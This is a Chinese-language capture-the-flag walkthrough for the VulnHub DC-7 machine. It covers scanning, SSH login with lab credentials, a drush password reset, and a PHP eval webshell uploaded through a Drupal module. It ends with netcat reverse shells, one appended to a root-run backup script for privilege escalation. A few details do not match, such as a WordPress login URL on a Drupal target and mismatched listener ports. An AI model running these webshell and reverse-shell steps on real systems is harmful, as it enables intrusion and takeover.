0X01 环境部署
1.下载地址
https://www.vulnhub.com/entry/dc-7,356/
安装好并将网络置为NET模式 kali net模式 DC-7 net模式
0X02 信息收集
1.主机发现
arpscan -l
kali 192.168.190.128 DC-7 192.168.190.135
2.端口收集
nmap -sS 192.168.190.135
发现存在80端口,可以进行查看,直接查看跳转到了
http://192.168.190.135/
3.目录扫描
python3 dirsearch.py -u http://192.168.190.135/
成功找到后台登陆页面
http://wordy/wp-login.php
4.查看网站配置
可以看到是一个cms
0X03 Getshell
1.漏洞发现
网站首页中存在一个@DC7USER,去github上搜索,可以看到有一个配置文件,有账号密码 <?php $servername = "localhost"; $username = "dc7user"; $password = "MdR3xOgB7#dW"; $dbname = "Staff"; $conn = mysqli_connect($servername, $username, $password, $dbname); ?>
尝试登录网站首页 $username = "dc7user"; $password = "MdR3xOgB7#dW";
登录失败
测试开放端口时,有22端口,可以尝试ssh登录 ssh [email protected] 登陆成功并查看权限 whoami
ls -la 查看有几个文件
backups 下有两个文件,均以gpg结尾,是一种加密文件
mbox 显示文件路径,进行查看
cd /opt/scripts ls cat backups.sh
发现了两个命令gpg和drush gpg是用来加密文件的 drush是用来修改drupal框架下的用作一些配置的命令,可以改变用户的密码,所以进入到var/www/html 目录下
cd /var/www/html drush user-password admin --password="123456"
2.漏洞利用
采用修改好的账号密码进行登录网站后台
admin/123456
登录成功
点击content-->add content -->basic page
但发现Drupal 8不支持PHP代码,百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入。进入Extend => Install new module,输入php模块包的url。 加载一个新的模块
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz 进行下载并选择文件进行安装
点击install
3.反弹shell
点击安装
回到最开始的地方进行写入shell
<?php @eval($_POST['cmd']);?>
蚁剑进行连接
查看当前权限 whoami
kali开启监听
nc -lvnp 5678
蚁剑反弹shell
nc -e /bin/bash 192.168.190.128 5678
进行交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
0X04 提权
1.当前权限
whoami # www-data
2.开始提权
已经拿到了www-data的权限,就可以利用backups.sh,来进行提权
cd /opt/scripts
将nc -e /bin/bash 192.168.190.128 6789,写入到backups.sh 中,定时任务就会以root身份来运行这个文件,从而拿到root的shell完成提权。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.190.128 12345 >/tmp/f" >> backups.sh
注意:>表示为重写,会覆盖掉原来的内容,>>表示追加,不会覆盖掉原来的内容。
kali开启监听
nc -lvnp 6789
whoami pwd cd /root ls cat theflag.txt
0X05 总结
1.首先收集信息,真实ip,端口,网站目录,网站部署部件等 2.根据网站作者的id,进行查找,找到帐号密码 3.ssh登录后,修改登录后台账号密码 4.根据添加php模块,拿到低权限shell 5.再利用计划任务写入shell,以root身份运行 6.拿到root shell 7.root用户家目录下进行查找flag